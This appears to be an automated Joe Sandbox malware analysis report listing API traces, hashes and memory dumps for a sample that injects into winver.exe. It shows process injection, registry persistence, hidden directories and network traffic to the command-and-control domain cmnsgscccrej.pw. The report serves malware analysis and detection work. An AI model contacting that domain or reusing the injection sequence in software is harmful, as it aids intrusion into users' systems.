Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationA.KERNELBASE(02223405,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000104), ref: 02223409

Memory Dump Source

Source File: 00000000.00000002.1731963218.0000000002220000.00000040.00001000.00020000.00000000.sdmp, Offset: 02220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2220000_java.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 05df49bcbb0e52281ffeddc20694d7dcde29ca99da7d602d76b789caa7e7f337
Instruction ID: ef526dd4302994baf07ba6721480da57dc664a80beff1f24e16eae2b631a67f0
Opcode Fuzzy Hash: 05df49bcbb0e52281ffeddc20694d7dcde29ca99da7d602d76b789caa7e7f337
Instruction Fuzzy Hash: DEF0FE75600154DBEF02EF24C485A9A77F8AF44344F4504C8AA4DBF206CA309559CFA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02221845 Relevance: .4, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731963218.0000000002220000.00000040.00001000.00020000.00000000.sdmp, Offset: 02220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2220000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea4e0c3cf8ecf2bfa90a777e44b91728a4d3afd2e27c35c42be2dc60894fdda
Instruction ID: 8ece365f4f5283b5c2b89a21aabbe93bc0fe7443345b4c2e230bffe3b8b7f352
Opcode Fuzzy Hash: 8ea4e0c3cf8ecf2bfa90a777e44b91728a4d3afd2e27c35c42be2dc60894fdda
Instruction Fuzzy Hash: D1C108254246A79EE7258E98C059BD2BFD1BB12318F489389C19D0F2DBC39B81EDC7D1

Uniqueness

Uniqueness Score: -1.00%

Function 02220EA9 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731963218.0000000002220000.00000040.00001000.00020000.00000000.sdmp, Offset: 02220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2220000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d754edaa701a15154bb9a4648fd9545ba8bd32677100c0784a8600ca5aed839
Instruction ID: 6602edf2c8a24e41f3779ce4a4368600094e14ad7e2c4918fc7bf3e611eab394
Opcode Fuzzy Hash: 0d754edaa701a15154bb9a4648fd9545ba8bd32677100c0784a8600ca5aed839
Instruction Fuzzy Hash: 52B108215687A79AE725CA98C0157D2BF95BB12328F085388C59D0F1E7C3B782DDC7C1

Uniqueness

Uniqueness Score: -1.00%

Function 02220C63 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731963218.0000000002220000.00000040.00001000.00020000.00000000.sdmp, Offset: 02220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2220000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1cf879b00919bdefd480fb5a14bd237a5ae1218ef57fef6b742790238e8c1a6
Instruction ID: 22351c798e5c300c03ab915bb8bf1ee757685f9955ef961a242f159fb49d5589
Opcode Fuzzy Hash: f1cf879b00919bdefd480fb5a14bd237a5ae1218ef57fef6b742790238e8c1a6
Instruction Fuzzy Hash: F1D0C579621550CFCA56CB58C1D8E10B3B1FB88764B068495E80A8B766C335ED4ADE00

Uniqueness

Uniqueness Score: -1.00%

Function 02222951 Relevance: 13.7, APIs: 9, Instructions: 169
filestringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(02222949,00000008,?,00000000,02222835,00000000), ref: 02222956
VirtualAlloc.KERNEL32(00000000,01400000,00003000,00000004), ref: 02222993
lstrcat.KERNEL32(00000000,022229C1), ref: 022229D0
lstrcat.KERNEL32(00000000,022229F8), ref: 02222A07
lstrcat.KERNEL32(00000000,02222A2F), ref: 02222A3E
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02222AB8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02222AFC
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02222B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02222B66

Memory Dump Source

Source File: 00000000.00000002.1731963218.0000000002220000.00000040.00001000.00020000.00000000.sdmp, Offset: 02220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2220000_java.jbxd

Similarity

API ID: DeleteFilelstrcat$AllocLibraryLoadSleepVirtual
String ID:
API String ID: 675344582-0
Opcode ID: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction ID: 2427c2239a895d8b035d21594502a8224baea8e2e08237041f70d4cff934cd15
Opcode Fuzzy Hash: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction Fuzzy Hash: 23517272410324FEDB22AFB08C48FBB77ADEF40704F440595AE45EA059DA379688CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 022229CA Relevance: 10.6, APIs: 7, Instructions: 130
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,022229C1), ref: 022229D0

Part of subcall function 02222A01: lstrcat.KERNEL32(00000000,022229F8), ref: 02222A07
Part of subcall function 02222A01: lstrcat.KERNEL32(00000000,02222A2F), ref: 02222A3E
Part of subcall function 02222A01: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02222AB8
Part of subcall function 02222A01: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02222AFC

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02222B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02222B66

Memory Dump Source

Source File: 00000000.00000002.1731963218.0000000002220000.00000040.00001000.00020000.00000000.sdmp, Offset: 02220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2220000_java.jbxd

Similarity

API ID: DeleteFilelstrcat$Sleep
String ID:
API String ID: 588723932-0
Opcode ID: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction ID: b401efba0d7517ca2d7ebc34caba8fc9137897f10b68fa2c0d18b33c7655c636
Opcode Fuzzy Hash: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction Fuzzy Hash: F5413571410334FEDB22AFB08D48FAB76BDFF40704F404595AE45EA059DA379688CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 02222A01 Relevance: 9.1, APIs: 6, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,022229F8), ref: 02222A07

Part of subcall function 02222A38: lstrcat.KERNEL32(00000000,02222A2F), ref: 02222A3E
Part of subcall function 02222A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02222AB8
Part of subcall function 02222A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02222AFC
Part of subcall function 02222A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02222B52
Part of subcall function 02222A38: Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02222B66

Memory Dump Source

Source File: 00000000.00000002.1731963218.0000000002220000.00000040.00001000.00020000.00000000.sdmp, Offset: 02220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2220000_java.jbxd

Similarity

API ID: DeleteFile$lstrcat$Sleep
String ID:
API String ID: 4261675396-0
Opcode ID: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction ID: 17d089ca0b4e70fdaeb14ece6449512be2b7796a19621dff44204cea98d145bd
Opcode Fuzzy Hash: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction Fuzzy Hash: C0412671410334FEDB22AFB08D48FAB76BDFF40705F404595AE45EA058DA379688CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 02222A38 Relevance: 7.6, APIs: 5, Instructions: 94
filesleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,02222A2F), ref: 02222A3E

Part of subcall function 02222B71: Sleep.KERNEL32(00000001,?,452F5000,00000020), ref: 02222C68

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02222AB8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02222AFC
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02222B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02222B66

Memory Dump Source

Source File: 00000000.00000002.1731963218.0000000002220000.00000040.00001000.00020000.00000000.sdmp, Offset: 02220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2220000_java.jbxd

Similarity

API ID: DeleteFile$Sleep$lstrcat
String ID:
API String ID: 531250245-0
Opcode ID: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction ID: ec3373aa2e6459d79794d0ade7b6bb596e71d27d6e105a2a61b6ffdb88c7402d
Opcode Fuzzy Hash: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction Fuzzy Hash: 32311471510278FEDB226EB08D48FAB76BCFF40709F4045A5AE45E6058DA379688CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 022231EA Relevance: 7.6, APIs: 5, Instructions: 62
processstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,00000000), ref: 0222320E
GetStartupInfoA.KERNEL32(00000000), ref: 0222324C
CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,022231D9,00000011,?,00000000,00000000), ref: 02223279
CloseHandle.KERNEL32(?,?,022231D9,00000011,?,00000000,00000000,00000000,02223092,00000004,00000000), ref: 02223285
CloseHandle.KERNEL32(?,?,022231D9,00000011,?,00000000,00000000,00000000,02223092,00000004,00000000), ref: 02223291

Memory Dump Source

Source File: 00000000.00000002.1731963218.0000000002220000.00000040.00001000.00020000.00000000.sdmp, Offset: 02220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2220000_java.jbxd

Similarity

API ID: CloseHandle$CreateInfoProcessStartuplstrcat
String ID:
API String ID: 3387338972-0
Opcode ID: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction ID: e66513f883e40e7130df8de76f2ca85639338634a9e547b9cec1badff5e3bea7
Opcode Fuzzy Hash: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction Fuzzy Hash: 55115472410628AFDF12AFA0CC48AEFB3FDEF40305F014595E985EA008DA365A84CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 02223F31 Relevance: 6.0, APIs: 4, Instructions: 26
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,?,02223F27,0000000A,E8FFFF1B,00000000,0000000A), ref: 02223F51
Sleep.KERNEL32(000003E8,00000000,?,02223F27,0000000A,E8FFFF1B,00000000,0000000A), ref: 02223F6F
Sleep.KERNEL32(000007D0), ref: 02223F7F
Sleep.KERNEL32(00000BB8), ref: 02223F8F

Memory Dump Source

Source File: 00000000.00000002.1731963218.0000000002220000.00000040.00001000.00020000.00000000.sdmp, Offset: 02220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2220000_java.jbxd

Similarity

API ID: Sleep$HandleModule
String ID:
API String ID: 3646095425-0
Opcode ID: e04edd3b56a3ae2e38138ccc1fa4ca0e34bf568aa8a0740690bb103294f382c8
Instruction ID: 99fc45ef342004446b545e3e3666aca3e85716af4b2dfe20613f2248af36f115
Opcode Fuzzy Hash: e04edd3b56a3ae2e38138ccc1fa4ca0e34bf568aa8a0740690bb103294f382c8
Instruction Fuzzy Hash: ADF01270564360FAFF50FFF0AC4C6593AB99F00704F0404D0A949AD09DCF7A81588E75

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: winver.exePID: 6384, Parent PID: 6188COMMON

Execution Graph

Execution Coverage:	18.9%
Dynamic/Decrypted Code Coverage:	99.8%
Signature Coverage:	4.1%
Total number of Nodes:	614
Total number of Limit Nodes:	10

Executed Functions

Function 047E2F88 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

send.WS2_32(?,00000000,00000000,00000000), ref: 047E2FF4
send.WS2_32(?,047E2A30,047E2A2C,00000000), ref: 047E300D
recv.WS2_32(?,047E2A30,00A00000,00000000), ref: 047E3030
closesocket.WS2_32(?), ref: 047E304A

Strings

cmnsgscccrej.pw, xrefs: 047E2FDB

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: send$closesocketrecv
String ID: cmnsgscccrej.pw
API String ID: 3431254638-1830621847
Opcode ID: 9574067959f33b04d739d713f0caaf9cbaae1037dcd8482bb700ab3644756bfa
Instruction ID: 2652135ea4646eb9e703827332966bc03e21803dad9d206427d9512aa0331cf4
Opcode Fuzzy Hash: 9574067959f33b04d739d713f0caaf9cbaae1037dcd8482bb700ab3644756bfa
Instruction Fuzzy Hash: 2D218172B00114AFFB215E29CC44B6A7BF9EF48784F044694FE09EB255D735ED608BA4

Uniqueness

Uniqueness Score: -1.00%

Function 047E0DE0 Relevance: 4.6, APIs: 3, Instructions: 57injectionmemorythreadCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,00000000,00004F37,00003000,00000040,E8FFF41B,?,E900001B,047E0D88,00000000,0000090B,00000000), ref: 047E0E06
WriteProcessMemory.KERNELBASE(?,-000008D9,00000000,00004F37,00000000), ref: 047E0E24
CreateRemoteThread.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000), ref: 047E0E70

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: AllocCreateMemoryProcessRemoteThreadVirtualWrite
String ID:
API String ID: 1718980022-0
Opcode ID: ecdb29b40f7c4aeff1928634133c43dba02166f8c9ac01a718fa6e3a21a6a1c3
Instruction ID: dc2a2b36c6b2663c771f6f30e456d94cf7563f7014eb75abd40e6cd98ebfa9ce
Opcode Fuzzy Hash: ecdb29b40f7c4aeff1928634133c43dba02166f8c9ac01a718fa6e3a21a6a1c3
Instruction Fuzzy Hash: 6C116032100205BBFF105F25CC49FA63B69EF84754F188021FD04BE199D770B520CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 047E292D Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 169
filestringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(047E2925,00000008,?,00000000,047E2811,00000000), ref: 047E2932

Part of subcall function 047E0C9C: GetProcAddress.KERNEL32(047E2811,047E290A), ref: 047E0CA9

WSAStartup.WS2_32(00000202,00000000), ref: 047E2957
VirtualAlloc.KERNELBASE(00000000,01400000,00003000,00000004), ref: 047E296F
lstrcat.KERNEL32(00000000,047E299D), ref: 047E29AC
lstrcat.KERNEL32(00000000,047E29D4), ref: 047E29E3
lstrcat.KERNEL32(00000000,047E2A0B), ref: 047E2A1A
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 047E2A94

Part of subcall function 047E2683: CreateFileA.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,00000000), ref: 047E269E
Part of subcall function 047E2683: GetFileSize.KERNEL32(?,00000000), ref: 047E26B7
Part of subcall function 047E2683: ReadFile.KERNELBASE(047E298A,?,00000000,?,00000000), ref: 047E26DB
Part of subcall function 047E2683: CloseHandle.KERNEL32(047E298A), ref: 047E26EC

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 047E2AD8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 047E2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 047E2B42

Strings

`nIu, xrefs: 047E2942

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: File$Deletelstrcat$AddressAllocCloseCreateHandleLibraryLoadProcReadSizeSleepStartupVirtual
String ID: `nIu
API String ID: 3655464437-1509933002
Opcode ID: 123cee287050aa4130abb0b2e68c87aa3392ee7ebd80efcf2861b6cc2cd8a842
Instruction ID: 2c74514583c7b2857184e1f26696675b98da5cc4563d67a20f7e7668131cb132
Opcode Fuzzy Hash: 123cee287050aa4130abb0b2e68c87aa3392ee7ebd80efcf2861b6cc2cd8a842
Instruction Fuzzy Hash: 35517971500214AEEB226F72CD48FBB77BCFF44709F0446D6AA45EA156DE30A680DEA1

Uniqueness

Uniqueness Score: -1.00%

Function 047E0643 Relevance: 16.6, APIs: 11, Instructions: 143
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNELBASE(00000000,00000000), ref: 047E065A

Part of subcall function 047E067C: LoadLibraryA.KERNELBASE(047E0673,00000009,?,00000000), ref: 047E0681
Part of subcall function 047E067C: lstrcmpiA.KERNEL32(?,00000000), ref: 047E06EB
Part of subcall function 047E067C: Sleep.KERNELBASE(00001388), ref: 047E06FE
Part of subcall function 047E067C: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 047E071F
Part of subcall function 047E067C: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 047E0731
Part of subcall function 047E067C: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 047E0752
Part of subcall function 047E067C: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 047E0764
Part of subcall function 047E067C: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 047E0785
Part of subcall function 047E067C: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 047E0797
Part of subcall function 047E067C: VirtualAlloc.KERNELBASE(00000000,00100000,00003000,00000004), ref: 047E07AB

Part of subcall function 047E26F9: CreateFileA.KERNELBASE(?,40000000,00000003,00000000,?,00000080,00000000,?,00000000), ref: 047E2715
Part of subcall function 047E26F9: SetFilePointer.KERNELBASE(?,00000000,00000000,00000002), ref: 047E2732
Part of subcall function 047E26F9: WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000), ref: 047E274E
Part of subcall function 047E26F9: CloseHandle.KERNEL32(?), ref: 047E275F

Part of subcall function 047E0811: RegCreateKeyExA.KERNELBASE(00000000,047E0840,0000002E,?,?,?,?,?,00000002,?,00000000,00000000), ref: 047E0876
Part of subcall function 047E0811: RegSetValueExA.KERNELBASE(?,00000000,00000000,00000001,80000001,00000000), ref: 047E089D
Part of subcall function 047E0811: RegCloseKey.KERNELBASE(?), ref: 047E08A9

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: CreateFile$AttributesDirectory$Close$AllocHandleLibraryLoadMutexPointerSleepValueVirtualWritelstrcmpi
String ID:
API String ID: 2311107590-0
Opcode ID: 23fe9d41b4c0fd8f85a64b07ac5772dc61afcf4539fa5e17d3a9c2967f868177
Instruction ID: 5906faff4f38ca5a26b67b9ecc4537c152cba588bf5dcacd58a1de376caeebec
Opcode Fuzzy Hash: 23fe9d41b4c0fd8f85a64b07ac5772dc61afcf4539fa5e17d3a9c2967f868177
Instruction Fuzzy Hash: 9E5133B2504214AFEF13AF61CC88FAA77BCEF44704F05059DAB85EF146DE706690CAA5

Uniqueness

Uniqueness Score: -1.00%

Function 047E067C Relevance: 15.1, APIs: 10, Instructions: 122
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(047E0673,00000009,?,00000000), ref: 047E0681

Part of subcall function 047E0C9C: GetProcAddress.KERNEL32(047E2811,047E290A), ref: 047E0CA9

Part of subcall function 047E2597: lstrcat.KERNEL32(047E2634,00000000), ref: 047E25DE

Part of subcall function 047E06C2: lstrcmpiA.KERNEL32(?,00000000), ref: 047E06EB
Part of subcall function 047E06C2: Sleep.KERNELBASE(00001388), ref: 047E06FE
Part of subcall function 047E06C2: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 047E071F
Part of subcall function 047E06C2: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 047E0731
Part of subcall function 047E06C2: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 047E0752
Part of subcall function 047E06C2: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 047E0764
Part of subcall function 047E06C2: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 047E0785
Part of subcall function 047E06C2: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 047E0797
Part of subcall function 047E06C2: VirtualAlloc.KERNELBASE(00000000,00100000,00003000,00000004), ref: 047E07AB

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: AttributesCreateDirectoryFile$AddressAllocLibraryLoadProcSleepVirtuallstrcatlstrcmpi
String ID:
API String ID: 2102637170-0
Opcode ID: 5de239d9be66570cd2289521d95d90d9cab5e80f55aeab0bdb7006df202fe909
Instruction ID: 802e032195e6ae89279158427fa47a9a5f91af8330a60aad32d1135914c48eff
Opcode Fuzzy Hash: 5de239d9be66570cd2289521d95d90d9cab5e80f55aeab0bdb7006df202fe909
Instruction Fuzzy Hash: 814131B2500214AFEF13AF61C888BAA77BCEF44704F050599AB85EF155DE709690CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 047E06C2 Relevance: 13.6, APIs: 9, Instructions: 97
sleepmemorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcmpiA.KERNEL32(?,00000000), ref: 047E06EB
Sleep.KERNELBASE(00001388), ref: 047E06FE
CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 047E071F
SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 047E0731
CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 047E0752
SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 047E0764

Part of subcall function 047E2597: lstrcat.KERNEL32(047E2634,00000000), ref: 047E25DE

CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 047E0785
SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 047E0797
VirtualAlloc.KERNELBASE(00000000,00100000,00003000,00000004), ref: 047E07AB

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: AttributesCreateDirectoryFile$AllocSleepVirtuallstrcatlstrcmpi
String ID:
API String ID: 2015199959-0
Opcode ID: 1c226179281e77d9add93f1d77d7a7ba9467f2847751cd0325fb52aca6bbedbc
Instruction ID: 4f78fbee393ea9578b0658a0b5bf30ad834a6bd034ea7b0654cf13b389015857
Opcode Fuzzy Hash: 1c226179281e77d9add93f1d77d7a7ba9467f2847751cd0325fb52aca6bbedbc
Instruction Fuzzy Hash: AF313DB25002249FEF16AF60C888FAA73ACEF44704F4505A9AB85EF145DE709690CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 047E29A6 Relevance: 10.6, APIs: 7, Instructions: 130
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,047E299D), ref: 047E29AC

Part of subcall function 047E29DD: lstrcat.KERNEL32(00000000,047E29D4), ref: 047E29E3
Part of subcall function 047E29DD: lstrcat.KERNEL32(00000000,047E2A0B), ref: 047E2A1A
Part of subcall function 047E29DD: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 047E2A94
Part of subcall function 047E29DD: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 047E2AD8

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 047E2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 047E2B42

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: DeleteFilelstrcat$Sleep
String ID:
API String ID: 588723932-0
Opcode ID: a59d9b3575d39faaedf29f35c9c8ec066547d1ec0f6634f348c18150469a5b98
Instruction ID: 18c371fe449bc57e3ea706ba14971b91c3096c596a93059995c803553e8940e4
Opcode Fuzzy Hash: a59d9b3575d39faaedf29f35c9c8ec066547d1ec0f6634f348c18150469a5b98
Instruction Fuzzy Hash: 144127715002149EEB326B72CD4CFBB77BCFF48709F0446D6AA45EA152DE34A680DEA1

Uniqueness

Uniqueness Score: -1.00%

Function 047E2F3F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(cmnsgscccrej.pw,00000000,047E2F2E,00000011,?,00000000,00000011,00000000,/EiDQjNbWEQ/,00000000), ref: 047E2F53

Part of subcall function 047E2F88: send.WS2_32(?,00000000,00000000,00000000), ref: 047E2FF4
Part of subcall function 047E2F88: send.WS2_32(?,047E2A30,047E2A2C,00000000), ref: 047E300D
Part of subcall function 047E2F88: recv.WS2_32(?,047E2A30,00A00000,00000000), ref: 047E3030
Part of subcall function 047E2F88: closesocket.WS2_32(?), ref: 047E304A

Strings

cmnsgscccrej.pw, xrefs: 047E2F52, 047E2F5A, 047E2FDB

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: send$closesocketlstrlenrecv
String ID: cmnsgscccrej.pw
API String ID: 1577144637-1830621847
Opcode ID: 47e1b1d1e09dae78ecab814af72e97c8beb8c55764ffd7795c611f6a9b2faa7b
Instruction ID: 61c16902e69c0e034b26ce2a946807ec460c464d972d5856849d8f6121b4ff3c
Opcode Fuzzy Hash: 47e1b1d1e09dae78ecab814af72e97c8beb8c55764ffd7795c611f6a9b2faa7b
Instruction Fuzzy Hash: 6D21B672600114BFEB225E25CC44FBA3BEDEF48744F084294FF08EB255D735AA208BA4

Uniqueness

Uniqueness Score: -1.00%

Function 047E0CE8 Relevance: 10.6, APIs: 7, Instructions: 64
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 047E0D07
Sleep.KERNELBASE(000003E8), ref: 047E0D1D
Process32First.KERNEL32(?,00000000), ref: 047E0D3D
FindCloseChangeNotification.KERNELBASE(00000000,0000090B,00000000), ref: 047E0D88
Process32Next.KERNEL32(?,?), ref: 047E0D9E
FindCloseChangeNotification.KERNELBASE(?), ref: 047E0DCA
Sleep.KERNELBASE(000003E8), ref: 047E0DD5

Memory Dump Source

Source File: 00000002.00000002.2980119764.00000000047E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_47e0000_winver.jbxd

Similarity

API ID: ChangeCloseFindNotificationProcess32Sleep$CreateFirstNextSnapshotToolhelp32
String ID:
